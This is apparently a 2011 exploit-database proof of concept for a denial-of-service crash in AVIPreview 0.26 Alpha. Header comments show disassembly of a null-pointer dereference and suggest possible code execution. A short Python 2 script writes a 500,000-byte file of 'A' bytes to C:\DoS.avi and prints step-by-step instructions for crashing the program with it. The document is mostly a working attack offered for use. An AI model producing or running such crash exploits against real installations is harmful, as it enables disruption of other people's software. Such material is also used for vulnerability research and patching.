# done by BraniX <branix@hackers.org.pl># www.hackers.org.pl# found: 2011.03.15# published: 2011.03.15# tested on: Windows XP SP3 Home Edition# App:AVIPreview 0.26 Alpha# App Url:http://www.divx-digest.com/software/avipreview_aj.html# AVIPreview.exeMD5: 399ab43edd26c655d0876dc5ddcaa3a7# DoS is caused by Access Violation Exception, app reads memory via null pointer# 00405B598B0D E0B14100 MOV ECX,DWORD PTR DS:[41B1E0] <-- Read from .data section DD 0h# 00405B5F8B11MOV EDX,DWORD PTR DS:[ECX]<-- Exception, but if EDX is a pointer to SH# 00405B61A1 E0B14100 MOV EAX,DWORD PTR DS:[41B1E0]# 00405B6650PUSH EAX# 00405B67FF52 30 CALL DWORD PTR DS:[EDX+30]<-- We will have LCE# if exploiter can force something minigfull to ECX (.data is RW)# so he/she will have code execution
path = "C:\\DoS.avi"
f = open(path,"wb")
f.write('\x41'* 500000)
f.close()
print "File generated: "+ path
print "In order to DoS AVIPreview 0.26 Alpha execute following steps\n"
print "1. Open file '"+ path +"'in AVIPreview, application will show MessageBox with error, but will not crash"
print "2. Select 'No', otherway AVIPreview will pop-up browser"
print "3. Navigate to File menu and pick recent file (which point to our AVI file)"
print "4. You have DoS :>"